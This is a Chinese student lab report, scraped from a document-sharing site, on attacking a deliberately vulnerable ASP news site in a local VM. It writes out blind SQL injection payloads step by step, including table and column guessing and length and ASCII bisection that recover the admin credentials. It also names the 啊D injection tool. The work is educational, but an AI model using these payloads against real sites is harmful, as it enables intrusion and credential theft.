SQL注入攻击实验报告

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

实验报告(实验名称:SQL注入攻击)-1-一、实验目的通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。二、实验环境描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。宿主机(客户机):操作系统为Windows10,IP为192.168.18.11,在主机上安装虚拟化软件VmwarePlayer,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信,虚拟机(Web服务器):操作系统为WindowsXP,IP为192.168.18.9,本实验利用windows的iis服务搭建了一个有SQL注入漏洞的网站“ASP新闻发布系统”,以该网站为目标,对其实施SQL注入攻击。本实验所需工具如下:IIS是InternetInformationServer的缩写,是微软提供的Internet服务器软件,包括Web、FTP、Mail等服务器,也是目前常用的服务器软件。版本不限。“啊D”注入工具:对“MSSQL显错模式”、“MSSQL不显错模式”、“Access”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。“ASP新闻发布系统”Ok3wv4.6源码。三、实验内容(一)配置实验环境,首先选择网络适配器,安装环回适配器,在主机上安装VmwarePlayer,成功启动虚拟机。接着配置宿主机和虚拟机的IP,如图要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge-2-然后,验证宿主机和虚拟机是否联通,结果显示连接成功。最后在虚拟机上安装IIS程序,打开浏览器,输入地址“127.0.0.1”,检查网站搭建情况。-3-成功!(二)寻找注入点在宿主机上,打开网页=95,可以正常打开页面。进行注入测试,键入=95and1=1,返回页面不变。-4-键入=95and1=2,返回页面出错。因此,可确定该网站存在注入点。(三)判断数据库类型用系统表的方法进行判断,分别键入=95and(selectcount(*)fromsysobjects)0=95and(selectcount(*)frommsysobjects)0-5-两者返回均出错,可知是access数据库。-6-(四)猜测表名一般网站后台的管理员都默认在表admin中,我们先试一下,键入:=95and(selectcount(*)fromadmin)0返回页面正常,可知该网站后台数据库中存在着表名为admin的表。(五)猜测字段名不同公司网站有不同的字段名,但一般都有三个字段,分别记录ID号、用户名和密码,常用的字段名为:id,username,password。分别键入=95and(selectcount(id)fromadmin)0=95and(selectcount(username)fromadmin)0=95and(selectcount(password)fromadmin)0三者返回均正常。可知,表admin中存在的三个字段:id,username,password。注:“username”的截图损坏,但是返回正常,望教员通融。(六)猜测管理员用户名和密码1.确定表admin中有几条记录,键入=95and(selectcount(*)fromadmin)=1返回页面正常。-7-可知,表admin只有一条记录。2.猜测用户名长度,键入=95and(selectlen(username)fromadmin)=1返回出错,继续键入=95and(selectlen(username)fromadmin)=2返回出错,继续测试3/4/5…,-8-直到返回页面正确。测试到5的时候,返回正常。可知,用户名长度为5。3.猜测用户名内容,采用ASCII码分析法先猜测第1位,用二分法,键入=95and(selectcount(*)fromadminwhere(asc(mid(username,1,1)))between30and125)0返回正确,进一步缩小范围between70and100,between85and100,between90and100,=97。可知第一个字符为a。依此类推,猜测之后的每一位字符,-9-最后得到用户名为admin。4.猜测密码,同理:=95and(selectlen(password)fromadmin)=6-10-所以密码为6位。-11--12-最终得到密码为6位:123456。(七)寻找到后台管理窗口打开“啊D”软件,点击进入“管理入口检测”选项,点击“检测管理入口”,进行检测,如图:打开检测到的各网址,测试是否为管理入口。可知为管理入口,如图:(八)登陆后台找到后台管理窗口,,用刚刚得到的用户名和密码登陆,后台登陆成功。-13-四、实验结果及分析SQL注入攻击过程。1)判断Web环境是否可以SQL注入。如果URL仅是对网页的访问,不存在SQL注入问题,如:就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入,如:=95,其中?id=95表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁。2)寻找SQL注入点。完成上一步的片断后,就要寻找可利用的注入漏洞,通过输入一些特殊语句,可以根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点。3)猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。这个过程可以通过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。4)寻找WEB管理后台入口。通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登陆路径,可以利用扫描工具快速搜索到可能的登陆地址,依次进行尝试,就可以试出管理台的入口地址。5)入侵和破坏。成功登陆后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。实验心得:在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题,而且从整个实验的过程来讲也涉及到了很多软件的配合使用。在整个实验中遇到的最大问题就是,宿主机和虚拟机此前一直连不通,通过宿主机ping虚拟机,一直无法连接。直到最后我把虚拟机的防火墙关闭了,宿主机才能访问虚拟机上发布的网页。可见,防火墙还是有一定作用的,但是对于网站来说开通-14-了防火墙就没办法访问网页了。

1 / 15
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功